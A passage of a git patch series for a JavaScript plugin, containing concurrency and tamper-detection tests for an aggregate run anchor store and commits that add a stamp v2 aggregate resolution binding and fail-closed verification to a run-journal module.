store.getByRunId(AGGREGATE_RUN_ID)).canonical_digest, first.record.canonical_digest); + const emptyStamp = JSON.parse((await readFile(path.join(runDir, 'created.json'), 'utf8')).trim()); + assert.equal(emptyStamp.nonce, claim.nonce); + + await rm(path.join(runDir, 'coordination.json')); + await rm(path.join(runDir, 'created.json')); + const anchored = await store.submit(input); + assert.equal(anchored.record.canonical_digest, first.record.canonical_digest); + assert.equal((await store.getCoordination(AGGREGATE_RUN_ID)).phase, 'submitted'); + assert.equal((await readFile(claimPath)).equals(claimBytes), true); + + await rm(path.join(runDir, 'created.json')); + const resumed = await store.submit(input); + assert.equal(resumed.record.canonical_digest, first.record.canonical_digest); + const loaded = await store.getByRunId(AGGREGATE_RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + const stamp = JSON.parse((await readFile(path.join(runDir, 'created.json'), 'utf8')).trim()); + assert.equal(stamp.nonce, claim.nonce); + assert.equal(stamp.record_canonical_digest, first.record.canonical_digest); + }); +}); + +test('valid alternate stamp nonce substitution fails get, submit, and mutation', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const first = await store.submit(input); + const stampPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'created.json'); + const stampBytes = await readFile(stampPath); + const stamp = JSON.parse(stampBytes.toString('utf8').trim()); + const alternate = stamp.nonce === 'ab'.repeat(16) ? 'cd'.repeat(16) : 'ab'.repeat(16); + stamp.nonce = alternate; + await writeFile(stampPath, `${canonicalJsonStringify(stamp)}\n`, { mode: 0o600 }); + await chmod(stampPath, 0o600); + + assert.equal((await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID))).code, + 'aggregate_run_dir_swapped'); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_dir_swapped'); + const replay = await errorOf(() => store.submit(input)); + assert.equal(replay.code, 'aggregate_run_dir_swapped'); + assert.notEqual(replay.code, undefined); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }))).code, 'aggregate_run_dir_swapped'); + assert.equal((await readFile(stampPath)).equals(Buffer.from(`${canonicalJsonStringify(stamp)}\n`)), true); + assert.equal(first.created, true); + }); +}); + +test('cross-process 13/13 submit and mutation keep one winner without ENOTEMPTY or hang', { + timeout: 60_000, +}, async () => { + await withAnchor(async (root) => { + const submits = Array.from({ length: 13 }, () => spawnWorker({ root, mode: 'submit' })); + const submitResults = await waitWorkers(submits); + const created = submitResults.filter((result) => result.ok && result.created); + const idempotent = submitResults.filter((result) => result.ok && result.created === false); + assert.equal(created.length, 1, JSON.stringify(submitResults)); + assert.equal(created.length + idempotent.length, 13); + for (const result of submitResults) { + assert.equal(result.ok, true, result.code); + assert.notEqual(result.code, 'ENOTEMPTY'); + } + const claimNames = (await readdir(path.join(root, 'claims'))) + .filter((name) => name.endsWith('.json')); + assert.equal(claimNames.length, 1); + const runNames = (await readdir(path.join(root, 'runs'))) + .filter((name) => !name.startsWith('.')); + assert.equal(runNames.length, 1); + + const mutations = Array.from({ length: 13 }, () => spawnWorker({ root, mode: 'plan' })); + const mutationResults = await waitWorkers(mutations); + const mutationCreated = mutationResults.filter((result) => result.ok && result.created); + const mutationReplay = mutationResults.filter((result) => result.ok && result.created === false); + assert.equal(mutationCreated.length, 1, JSON.stringify(mutationResults)); + assert.equal(mutationCreated.length + mutationReplay.length, 13); + for (const result of mutationResults) { + assert.equal(result.ok, true, result.code); + assert.notEqual(result.code, 'ENOTEMPTY'); + } + const store = await openAggregateRunAnchor(root); + const coord = await store.getCoordination(AGGREGATE_RUN_ID); + assert.equal(coord.phase, 'resolution_ready'); + assert.equal(coord.revision, 1); + }); +}); + +test('conflicting cross-process submits keep the winner paths', { timeout: 60_000 }, async () => { + await withAnchor(async (root) => { + const first = spawnWorker({ root, mode: 'submit', runId: AGGREGATE_RUN_ID, assignmentCount: 1 }); + await waitWorkers([first]); + const conflicts = Array.from({ length: 8 }, () => spawnWorker({ + root, mode: 'submit', runId: AGGREGATE_RUN_ID, assignmentCount: 8, + })); + const results = await waitWorkers(conflicts); + for (const result of results) { + assert.equal(result.ok, false); + assert.ok(result.code === 'aggregate_run_identity_conflict' + || result.code === 'aggregate_run_idempotency_conflict', result.code); + assert.notEqual(result.code, 'ENOTEMPTY'); + } + const claims = await readdir(path.join(root, 'claims')); + assert.equal(claims.filter((name) => name.endsWith('.json')).length, 1); + const store = await openAggregateRunAnchor(root); + const loaded = await store.getByRunId(AGGREGATE_RUN_ID); + const expected = makeSubmitInput({ assignmentCount: 1 }); + assert.equal(loaded.run_id, expected.run_id); + }); +}); From 17d6ff69ead7adf84ba42817512c56d17e9d6455 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:07:38 +0000 Subject: [PATCH 041/151] feat(run): bind aggregate resolution to journal stamp v2 Add a closed R25B aggregate binding on the existing P25 journal without changing legacy stamp v1, fingerprint, event kinds, or create/open behavior. bindAggregateResolution observes an open R24A handle, requires resolution_ready with a durably verified resolved-plan record, and re-reads the root marker, claim, aggregate stamp, and plan bytes so a missing, malformed, mismatched, or swapped identity fails closed. The binding digest is domain-separated over those exact marker, claim, anchor, coordination, resolved-plan, phase, and revision facts using already-ratified R24A digest labels; the P03 registry is unchanged. Stamp v2 is a four-key canonical created.json that stores run_id, the aggregate binding digest, and a nonce. Legacy stamp verification still requires schema v1 and record_canonical_digest, so a v2 stamp cannot be claimed as a P24 journal and a v1 stamp cannot be claimed as aggregate. --- .../codex-co-engineer/mcp/v3/run-journal.mjs | 524 +++++++++++++++++- 1 file changed, 508 insertions(+), 16 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/run-journal.mjs b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs index cf572a5..3df3610 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-journal.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs @@ -1,6 +1,7 @@ -// Durable append-only run journal, cursor paging, and torn-tail healing (P25). +// Durable append-only run journal, cursor paging, and torn-tail healing (P25) +// plus the R25B aggregate resolution binding. // -// Additive v3 module. Every create/open/append/read first binds an exact +// Additive v3 module. Legacy create/open/append/read first binds an exact // validated accepted-P24 durable run record (the `openRunStore(...)` handle // plus the `getByRunId` result) by run identity and canonical digest, then // operates on one per-run private directory inside a separate caller-supplied @@ -8,6 +9,12 @@ // sharing it as the journal root fails closed, because the accepted P24 flat // root rejects foreign entries. // +// R25B adds stamp v2 and a closed aggregate resolution binding: an exact +// validated R24A marker/claim/anchor/coordination/resolved-plan identity +// that is already resolution_ready. Legacy create/open still write and +// verify stamp v1 against an accepted P24 record. There is no migration, +// root adoption, empty-root inference, or legacy-to-aggregate fallback. +// // Storage layout (all paths derived only from validated identifiers): // /runs//journal.jsonl append-only bounded canonical JSONL // /runs//state.json atomically published derived state @@ -40,7 +47,23 @@ import { capturedTest, sortedCapturedKeys, } from './grammar.mjs'; -import { canonicalJsonStringify } from './identity.mjs'; +import { + AGGREGATE_CLAIM_KEYS, + AGGREGATE_MARKER_KEYS, + AGGREGATE_RESOLVED_PLAN_KEYS, + AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + AGGREGATE_RUN_CLAIM_SCHEMA_ID, + AGGREGATE_RUN_STAMP_SCHEMA_ID, + AGGREGATE_STORAGE_ROOT_KIND, + MAX_AGGREGATE_CLAIM_BYTES, + MAX_AGGREGATE_MARKER_BYTES, + MAX_AGGREGATE_RECORD_BYTES, + MAX_AGGREGATE_STAMP_BYTES, + STORAGE_ROOT_SCHEMA_ID, + validateAggregateRunAnchorV1, + validateAggregateRunCoordinationV1, +} from './aggregate-run-anchor.mjs'; +import { IDENTITY_LABELS, canonicalJsonStringify } from './identity.mjs'; import { assertBoundDigest, assertSharedGitIdentityV1, @@ -71,11 +94,22 @@ import { SHA256_DIGEST_PATTERN, assertDirectJsonClosure, freezeData, + identityBoundDigest, } from './selection-json.mjs'; export const RUN_JOURNAL_LOCK_SCHEMA_ID = 'codex-co-engineer.run-journal-lock.v1'; export const RUN_JOURNAL_STAMP_SCHEMA_ID = 'codex-co-engineer.run-journal-created.v1'; +export const RUN_JOURNAL_STAMP_SCHEMA_ID_V2 = 'codex-co-engineer.run-journal-created.v2'; export const RUN_JOURNAL_CURSOR_DOMAIN = 'codex-co-engineer.run-journal-cursor.v1'; +export const RUN_JOURNAL_AGGREGATE_BINDING_DOMAIN = + 'codex-co-engineer.run-journal-aggregate-binding.v1'; +export const RUN_JOURNAL_AGGREGATE_BINDING_KEYS = capturedFreeze([ + 'run_id', 'marker_digest', 'claim_digest', 'anchor_digest', + 'coordination_digest', 'resolved_plan_digest', 'phase', 'revision', +]); +export const RUN_JOURNAL_AGGREGATE_BINDING_RECORD_KEYS = capturedFreeze([ + ...RUN_JOURNAL_AGGREGATE_BINDING_KEYS, 'binding_digest', +]); export const MAX_RUN_JOURNAL_ENTRIES = 512; export const MAX_RUN_JOURNAL_ENTRY_BYTES = 4096; @@ -89,7 +123,7 @@ export const MAX_RUN_JOURNAL_TEMPORARIES = 8; export const MAX_RUN_JOURNAL_DIRECTORY_ENTRIES = 16; export const MAX_RUN_JOURNAL_ROOT_ENTRIES = 8; export const MAX_RUN_JOURNAL_LOCK_BYTES = 160; -export const MAX_RUN_JOURNAL_STAMP_BYTES = 256; +export const MAX_RUN_JOURNAL_STAMP_BYTES = 384; export const MAX_RUN_JOURNAL_DIAGNOSTIC_BYTES = 160; export const RUN_JOURNAL_LOCK_WAIT_MS = 2_000; export const RUN_JOURNAL_LOCK_POLL_MS = 10; @@ -100,10 +134,18 @@ const JOURNAL_NAME = 'journal.jsonl'; const STATE_NAME = 'state.json'; const LOCK_NAME = 'lock'; const STAMP_NAME = 'created.json'; +const AGGREGATE_MARKER_NAME = 'storage-root.v1'; +const AGGREGATE_CLAIMS_NAME = 'claims'; +const AGGREGATE_RUNS_NAME = 'runs'; +const AGGREGATE_PLAN_RECORD_NAME = 'resolved-plan.record.json'; +const AGGREGATE_STAMP_NAME = 'created.json'; const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; const LOCK_OWNER_NAME_PATTERN = /^\.lock-[0-9a-f]{32}$/u; const HEX_PATTERN = /^[0-9a-f]{64}$/u; const BASE64URL_PATTERN = /^[A-Za-z0-9_-]+$/u; +const NONCE_PATTERN = /^[0-9a-f]{32}$/u; +const JOURNAL_MODE_LEGACY = 'legacy'; +const JOURNAL_MODE_AGGREGATE = 'aggregate'; const HASH_ALGORITHM = 'sha256'; const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); const CREATE_HASH = createHash; @@ -563,9 +605,433 @@ function parseJournalOptions(options) { root: assertSafeRootPath(options.root), store: assertStoreHandle(options.store), runId, + journalMode: JOURNAL_MODE_LEGACY, + }; +} + +function assertAnchorHandle(anchor) { + if (anchor === undefined || anchor === null || typeof anchor !== 'object' + || typeof anchor.getByRunId !== 'function' + || typeof anchor.getCoordination !== 'function' + || typeof anchor.root !== 'string' + || typeof anchor.marker_digest !== 'string') { + failJournal('invalid_type', 'anchor', + 'The aggregate journal requires an openAggregateRunAnchor(...) handle.'); + } + assertBoundDigest(anchor.marker_digest, 'anchor.marker_digest'); + return { + handle: anchor, + root: assertSafeRootPath(anchor.root), + markerDigest: anchor.marker_digest, + }; +} + +function parseAggregateJournalOptions(options) { + if (options === undefined || options === null || typeof options !== 'object' + || Array.isArray(options)) { + failJournal('invalid_type', 'options', 'Journal options must be a plain options object.'); + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(['root', 'anchor', 'run_id'], key)) { + failJournal('unknown_key', `options.${key}`, `options.${key} is not part of the closed options.`); + } + } + for (const key of ['root', 'anchor', 'run_id']) { + if (!capturedHasOwn(options, key)) { + failJournal('missing_key', `options.${key}`, `options.${key} is required.`); + } + } + const runId = options.run_id; + assertRunId(runId, 'run_id'); + const anchor = assertAnchorHandle(options.anchor); + return { + root: assertSafeRootPath(options.root), + anchor: anchor.handle, + anchorRoot: anchor.root, + markerDigest: anchor.markerDigest, + runId, + journalMode: JOURNAL_MODE_AGGREGATE, + }; +} + +function claimDigestPayload(fields) { + return { + schema: fields.schema, + run_id: fields.run_id, + anchor_digest: fields.anchor_digest, + submission_idempotency_key: fields.submission_idempotency_key, + root_marker_nonce: fields.root_marker_nonce, + root_marker_digest: fields.root_marker_digest, + nonce: fields.nonce, }; } +export function computeAggregateBindingDigest(parts) { + if (parts === undefined || parts === null || typeof parts !== 'object' || Array.isArray(parts)) { + failJournal('invalid_type', 'binding', 'An aggregate binding must be a plain JSON data object.'); + } + const fields = closedObject( + parts, + 'binding', + RUN_JOURNAL_AGGREGATE_BINDING_RECORD_KEYS, + RUN_JOURNAL_AGGREGATE_BINDING_KEYS, + ); + assertRunId(fields.run_id, 'binding.run_id'); + assertBoundDigest(fields.marker_digest, 'binding.marker_digest'); + assertBoundDigest(fields.claim_digest, 'binding.claim_digest'); + assertBoundDigest(fields.anchor_digest, 'binding.anchor_digest'); + assertBoundDigest(fields.coordination_digest, 'binding.coordination_digest'); + assertBoundDigest(fields.resolved_plan_digest, 'binding.resolved_plan_digest'); + if (fields.phase !== 'resolution_ready') { + failJournal('run_journal_aggregate_not_ready', 'binding.phase', + 'Aggregate journals require a resolution_ready R24A coordination phase.'); + } + if (typeof fields.revision !== 'number' || !NUMBER_IS_SAFE_INTEGER(fields.revision) + || (fields.revision !== 1 && fields.revision !== 2)) { + failJournal('run_journal_aggregate_not_ready', 'binding.revision', + 'Aggregate journals require a resolution_ready revision of 1 or 2.'); + } + const canonical = canonicalJsonStringify({ + run_id: fields.run_id, + marker_digest: fields.marker_digest, + claim_digest: fields.claim_digest, + anchor_digest: fields.anchor_digest, + coordination_digest: fields.coordination_digest, + resolved_plan_digest: fields.resolved_plan_digest, + phase: fields.phase, + revision: fields.revision, + }); + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(`${RUN_JOURNAL_AGGREGATE_BINDING_DOMAIN}\n${canonical}\n`, 'utf8') + .digest('hex'); + return `sha256:${digest}`; +} + +export function validateBoundAggregateResolution(record) { + if (record === undefined || record === null || typeof record !== 'object' || Array.isArray(record)) { + failJournal('invalid_type', 'binding', 'An aggregate binding must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'binding'); + const fields = closedObject(record, 'binding', RUN_JOURNAL_AGGREGATE_BINDING_RECORD_KEYS); + const rebuilt = computeAggregateBindingDigest(fields); + if (typeof fields.binding_digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, fields.binding_digest) + || rebuilt !== fields.binding_digest) { + failJournal('run_journal_record_mismatch', 'binding.binding_digest', + 'The aggregate binding digest does not match its recomputed value.'); + } + return snapshotRecord({ + run_id: fields.run_id, + marker_digest: fields.marker_digest, + claim_digest: fields.claim_digest, + anchor_digest: fields.anchor_digest, + coordination_digest: fields.coordination_digest, + resolved_plan_digest: fields.resolved_plan_digest, + phase: fields.phase, + revision: fields.revision, + binding_digest: fields.binding_digest, + }); +} + +function failAggregateMismatch(field, message) { + failJournal('run_journal_aggregate_mismatch', field, message); +} + +function parseCanonicalStoredBytes(bytes, field) { + if (bytes === null || bytes === undefined) { + failAggregateMismatch(field, 'The aggregate identity record is missing.'); + } + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + let text; + try { + text = TEXT_DECODER.decode(bytes); + } catch { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + if (!text.endsWith('\n')) { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + const body = text.slice(0, -1); + let parsed; + try { + parsed = JSON_PARSE(body); + } catch { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + if (canonicalJsonStringify(parsed) !== body) { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + return parsed; +} + +function validateDurableMarker(parsed) { + let fields; + try { + fields = closedObject(parsed, AGGREGATE_MARKER_NAME, AGGREGATE_MARKER_KEYS); + } catch (error) { + if (error instanceof RunContractV1Error) { + failAggregateMismatch(AGGREGATE_MARKER_NAME, 'The aggregate root marker is malformed.'); + } + throw error; + } + if (fields.schema !== STORAGE_ROOT_SCHEMA_ID + || fields.kind !== AGGREGATE_STORAGE_ROOT_KIND + || typeof fields.nonce !== 'string' + || !capturedTest(NONCE_PATTERN, fields.nonce)) { + failAggregateMismatch(AGGREGATE_MARKER_NAME, 'The aggregate root marker is malformed.'); + } + const digest = identityBoundDigest(IDENTITY_LABELS.STORAGE_ROOT, { + schema: fields.schema, + kind: fields.kind, + nonce: fields.nonce, + }); + if (digest !== fields.canonical_digest) { + failAggregateMismatch(AGGREGATE_MARKER_NAME, 'The aggregate root marker digest does not match.'); + } + return snapshotRecord(fields); +} + +function validateDurableClaim(parsed, runId) { + let fields; + try { + fields = closedObject(parsed, 'claim', AGGREGATE_CLAIM_KEYS); + } catch (error) { + if (error instanceof RunContractV1Error) { + failAggregateMismatch('claim', 'The aggregate claim is malformed.'); + } + throw error; + } + if (fields.schema !== AGGREGATE_RUN_CLAIM_SCHEMA_ID || fields.run_id !== runId) { + failAggregateMismatch('claim', 'The aggregate claim does not bind this run.'); + } + const digest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_CLAIM, claimDigestPayload(fields)); + if (digest !== fields.canonical_digest) { + failAggregateMismatch('claim', 'The aggregate claim digest does not match.'); + } + return snapshotRecord(fields); +} + +function validateDurablePlan(parsed, runId) { + let fields; + try { + fields = closedObject(parsed, AGGREGATE_PLAN_RECORD_NAME, AGGREGATE_RESOLVED_PLAN_KEYS); + } catch (error) { + if (error instanceof RunContractV1Error) { + failAggregateMismatch(AGGREGATE_PLAN_RECORD_NAME, 'The resolved-plan record is malformed.'); + } + throw error; + } + if (fields.schema !== AGGREGATE_RESOLVED_PLAN_SCHEMA_ID + || fields.run_id !== runId + || fields.complete !== true) { + failAggregateMismatch(AGGREGATE_PLAN_RECORD_NAME, 'The resolved-plan record does not bind this run.'); + } + const digest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RESOLVED_PLAN, { + schema: fields.schema, + run_id: fields.run_id, + complete: true, + }); + if (digest !== fields.canonical_digest) { + failAggregateMismatch(AGGREGATE_PLAN_RECORD_NAME, 'The resolved-plan record digest does not match.'); + } + return snapshotRecord(fields); +} + +function validateDurableAggregateStamp(parsed, runId, anchorDigest, claimNonce) { + const keys = parsed === null || typeof parsed !== 'object' || Array.isArray(parsed) + ? [] + : sortedCapturedKeys(parsed); + if (keys.length !== 4 + || !keys.includes('schema') || !keys.includes('run_id') + || !keys.includes('record_canonical_digest') || !keys.includes('nonce') + || parsed.schema !== AGGREGATE_RUN_STAMP_SCHEMA_ID + || parsed.run_id !== runId + || parsed.record_canonical_digest !== anchorDigest + || parsed.nonce !== claimNonce + || typeof parsed.nonce !== 'string' + || !capturedTest(NONCE_PATTERN, parsed.nonce)) { + failAggregateMismatch(AGGREGATE_STAMP_NAME, 'The aggregate run stamp does not match this claim.'); + } +} + +function projectAggregateBinding(fields) { + return { + run_id: fields.run_id, + marker_digest: fields.marker_digest, + claim_digest: fields.claim_digest, + anchor_digest: fields.anchor_digest, + coordination_digest: fields.coordination_digest, + resolved_plan_digest: fields.resolved_plan_digest, + phase: fields.phase, + revision: fields.revision, + }; +} + +async function observeAggregateResolution(anchor, runId) { + const record = await anchor.getByRunId(runId); + const validated = validateAggregateRunAnchorV1(record); + if (validated.run_id !== runId) { + failJournal('run_journal_identity_mismatch', 'run_id', + 'The bound aggregate anchor must carry the exact requested run identity.'); + } + const coordination = await anchor.getCoordination(runId); + const coord = validateAggregateRunCoordinationV1(coordination); + if (coord.run_id !== runId || coord.anchor_digest !== validated.canonical_digest) { + failJournal('run_journal_identity_mismatch', 'coordination', + 'The bound aggregate coordination does not match the anchor identity.'); + } + if (coord.phase !== 'resolution_ready' || coord.resolved_plan_digest === null) { + failJournal('run_journal_aggregate_not_ready', 'phase', + 'Aggregate journals require a resolution_ready R24A resolved plan.'); + } + if (coord.revision !== 1 && coord.revision !== 2) { + failJournal('run_journal_aggregate_not_ready', 'revision', + 'Aggregate journals require a resolution_ready revision of 1 or 2.'); + } + return { + run_id: runId, + marker_digest: anchor.marker_digest, + anchor_digest: validated.canonical_digest, + coordination_digest: coord.state_digest, + resolved_plan_digest: coord.resolved_plan_digest, + phase: coord.phase, + revision: coord.revision, + }; +} + +async function readDurableAggregateIdentity(anchorRoot, runId, observed) { + const rootToken = await openDirectoryHandle(anchorRoot, 'anchor'); + try { + const markerOpened = await readBoundedFile( + rootToken, AGGREGATE_MARKER_NAME, MAX_AGGREGATE_MARKER_BYTES, AGGREGATE_MARKER_NAME, + ); + const marker = validateDurableMarker(parseCanonicalStoredBytes( + markerOpened === null ? null : markerOpened.bytes, AGGREGATE_MARKER_NAME, + )); + if (marker.canonical_digest !== observed.marker_digest) { + failJournal('run_journal_aggregate_swapped', AGGREGATE_MARKER_NAME, + 'The aggregate root marker changed during binding.'); + } + const claimsToken = await openDirectoryHandle( + childPath(rootToken.path, AGGREGATE_CLAIMS_NAME), 'claim', + ); + let claim; + try { + const claimName = `${runId}.json`; + const claimOpened = await readBoundedFile( + claimsToken, claimName, MAX_AGGREGATE_CLAIM_BYTES, 'claim', + ); + claim = validateDurableClaim( + parseCanonicalStoredBytes(claimOpened === null ? null : claimOpened.bytes, 'claim'), + runId, + ); + } finally { + await claimsToken.handle.close().catch(() => {}); + } + if (claim.anchor_digest !== observed.anchor_digest + || claim.root_marker_digest !== marker.canonical_digest + || claim.root_marker_nonce !== marker.nonce) { + failAggregateMismatch('claim', 'The aggregate claim does not bind this marker and anchor.'); + } + const runsToken = await openDirectoryHandle( + childPath(rootToken.path, AGGREGATE_RUNS_NAME), 'runs', + ); + try { + const runToken = await openDirectoryHandle(childPath(runsToken.path, runId), 'directory'); + try { + const planOpened = await readBoundedFile( + runToken, AGGREGATE_PLAN_RECORD_NAME, MAX_AGGREGATE_RECORD_BYTES, AGGREGATE_PLAN_RECORD_NAME, + ); + const plan = validateDurablePlan( + parseCanonicalStoredBytes( + planOpened === null ? null : planOpened.bytes, AGGREGATE_PLAN_RECORD_NAME, + ), + runId, + ); + if (plan.canonical_digest !== observed.resolved_plan_digest) { + failJournal('run_journal_aggregate_swapped', AGGREGATE_PLAN_RECORD_NAME, + 'The resolved-plan record changed during binding.'); + } + const stampOpened = await readBoundedFile( + runToken, AGGREGATE_STAMP_NAME, MAX_AGGREGATE_STAMP_BYTES, AGGREGATE_STAMP_NAME, + ); + validateDurableAggregateStamp( + parseCanonicalStoredBytes( + stampOpened === null ? null : stampOpened.bytes, AGGREGATE_STAMP_NAME, + ), + runId, + observed.anchor_digest, + claim.nonce, + ); + } finally { + await runToken.handle.close().catch(() => {}); + } + } finally { + await runsToken.handle.close().catch(() => {}); + } + return { + ...observed, + claim_digest: claim.canonical_digest, + }; + } finally { + await rootToken.handle.close().catch(() => {}); + } +} + +export async function bindAggregateResolution(anchor, runId) { + assertRunId(runId, 'run_id'); + const bound = assertAnchorHandle(anchor); + const first = await observeAggregateResolution(bound.handle, runId); + const durable = await readDurableAggregateIdentity(bound.root, runId, first); + const second = await observeAggregateResolution(bound.handle, runId); + const firstProj = projectAggregateBinding(durable); + const secondProj = { + ...projectAggregateBinding({ + ...second, + claim_digest: durable.claim_digest, + }), + }; + if (canonicalJsonStringify(firstProj) !== canonicalJsonStringify(secondProj) + || first.marker_digest !== second.marker_digest + || first.anchor_digest !== second.anchor_digest + || first.coordination_digest !== second.coordination_digest + || first.resolved_plan_digest !== second.resolved_plan_digest + || first.revision !== second.revision) { + failJournal('run_journal_aggregate_swapped', 'anchor', + 'The aggregate resolution identity changed during binding.'); + } + const bindingDigest = computeAggregateBindingDigest(firstProj); + return validateBoundAggregateResolution({ + ...firstProj, + binding_digest: bindingDigest, + }); +} + +async function verifyAggregateRootSeparation(anchor, rootToken) { + const names = [anchor.root]; + names.push(path.join(anchor.root, AGGREGATE_CLAIMS_NAME)); + names.push(path.join(anchor.root, AGGREGATE_RUNS_NAME)); + for (const candidate of names) { + let handle; + try { + handle = await open(assertSafeRootPath(candidate), ROOT_OPEN_FLAGS); + } catch { + continue; + } + try { + const stat = await handle.stat(); + if (sameIdentity(stat, rootToken)) { + failJournal('run_journal_root_shared', 'root', + 'The journal root must be separate from the R24A aggregate root.'); + } + } finally { + await handle.close().catch(() => {}); + } + } +} + // --------------------------------------------------------------------------- // Journal parsing, verification, and replay // --------------------------------------------------------------------------- @@ -708,7 +1174,7 @@ async function auditStateCache(dirToken, entries, replayedState, volatile = fals // Verifies this directory is exactly the private journal created for the // bound record. Survives inode reuse: a deleted-and-recreated or foreign // substituted directory cannot carry the creation stamp of this binding. -async function verifyCreationStamp(dirToken, binding) { +async function verifyCreationStamp(dirToken, binding, journalMode = JOURNAL_MODE_LEGACY) { const opened = await readBoundedFile(dirToken, STAMP_NAME, MAX_RUN_JOURNAL_STAMP_BYTES, STAMP_NAME); const rebound = () => failJournal('run_journal_dir_rebound', STAMP_NAME, 'The run directory is not the private journal created for this bound record.'); @@ -731,23 +1197,49 @@ async function verifyCreationStamp(dirToken, binding) { if (!text.endsWith('\n') || canonicalJsonStringify(parsed) !== text.slice(0, -1) || keys.length !== 4 || !keys.includes('schema') || !keys.includes('run_id') - || !keys.includes('record_canonical_digest') || !keys.includes('nonce') - || parsed.schema !== RUN_JOURNAL_STAMP_SCHEMA_ID + || !keys.includes('nonce') || parsed.run_id !== binding.run_id - || parsed.record_canonical_digest !== binding.canonical_digest || typeof parsed.nonce !== 'string' - || !capturedTest(/^[0-9a-f]{32}$/u, parsed.nonce)) { + || !capturedTest(NONCE_PATTERN, parsed.nonce)) { + rebound(); + } + if (journalMode === JOURNAL_MODE_AGGREGATE) { + if (!keys.includes('binding_digest') + || parsed.schema !== RUN_JOURNAL_STAMP_SCHEMA_ID_V2) { + rebound(); + } + if (parsed.binding_digest !== binding.binding_digest) { + failJournal('run_journal_identity_conflict', STAMP_NAME, + 'The run journal already binds a different aggregate resolution identity.'); + } + return; + } + if (!keys.includes('record_canonical_digest') + || parsed.schema !== RUN_JOURNAL_STAMP_SCHEMA_ID + || parsed.record_canonical_digest !== binding.canonical_digest) { rebound(); } } -async function writeCreationStamp(dirToken, binding, nonceHex) { - const body = `${canonicalJsonStringify({ - schema: RUN_JOURNAL_STAMP_SCHEMA_ID, - run_id: binding.run_id, - record_canonical_digest: binding.canonical_digest, - nonce: nonceHex, - })}\n`; +async function writeCreationStamp(dirToken, binding, nonceHex, journalMode = JOURNAL_MODE_LEGACY) { + const record = journalMode === JOURNAL_MODE_AGGREGATE + ? { + schema: RUN_JOURNAL_STAMP_SCHEMA_ID_V2, + run_id: binding.run_id, + binding_digest: binding.binding_digest, + nonce: nonceHex, + } + : { + schema: RUN_JOURNAL_STAMP_SCHEMA_ID, + run_id: binding.run_id, + record_canonical_digest: binding.canonical_digest, + nonce: nonceHex, + }; + const body = `${canonicalJsonStringify(record)}\n`; + if (NodeBuffer.byteLength(body, 'utf8') > MAX_RUN_JOURNAL_STAMP_BYTES) { + failJournal('run_journal_file_too_large', STAMP_NAME, + `Journal files must not exceed ${MAX_RUN_JOURNAL_STAMP_BYTES} bytes.`); + } await atomicPublish(dirToken, STAMP_NAME, NodeBuffer.from(body, 'utf8'), STAMP_NAME); } From 3f274f7dd936c4feea32eeaa982cffdd0c70f1a4 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:07:50 +0000 Subject: [PATCH 042/151] feat(run): add aggregate-only open/append/read verification entrypoints Add createAggregateRunJournal and openAggregateRunJournal as a distinct P25 surface that binds a separate journal root to an already resolution_ready R24A handle. Every append, read, and replay re-verifies that binding under the existing per-run journal lock after the R24A handle has re-validated marker, claim, stamp, and resolved-plan bytes. Legacy createRunJournal and openRunJournal stay P24-only: they never accept an aggregate handle, never write stamp v2, and fail closed on a v2 directory. Aggregate open never claims a v1 stamp or a P24 record. Sharing the R24A root, claims, or runs directory as the journal root fails closed. There is no second run lock, no new event kind, and no cross-open, migration, or empty-root inference between the two authorities. Identical aggregate identity reopens and replays exactly; a different binding digest is a permanent content-free conflict. --- .../codex-co-engineer/mcp/v3/run-journal.mjs | 99 +++++++++++++++---- 1 file changed, 80 insertions(+), 19 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/run-journal.mjs b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs index 3df3610..a1a0b38 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-journal.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs @@ -9,11 +9,13 @@ // sharing it as the journal root fails closed, because the accepted P24 flat // root rejects foreign entries. // -// R25B adds stamp v2 and a closed aggregate resolution binding: an exact -// validated R24A marker/claim/anchor/coordination/resolved-plan identity -// that is already resolution_ready. Legacy create/open still write and -// verify stamp v1 against an accepted P24 record. There is no migration, -// root adoption, empty-root inference, or legacy-to-aggregate fallback. +// Aggregate create/open is a distinct entrypoint. It binds the same P25 +// journal root/run identity to an exact validated R24A aggregate anchor that +// is already resolution_ready, with its marker/claim/anchor/coordination/ +// resolved-plan identity durably verified. It writes stamp v2 and never +// claims a P24 record. Legacy open never claims aggregate state; aggregate +// open never claims legacy state. There is no migration, cross-open, root +// adoption, empty-root inference, or legacy-to-aggregate fallback. // // Storage layout (all paths derived only from validated identifiers): // /runs//journal.jsonl append-only bounded canonical JSONL @@ -1613,16 +1615,26 @@ function withRunChain(dirToken, 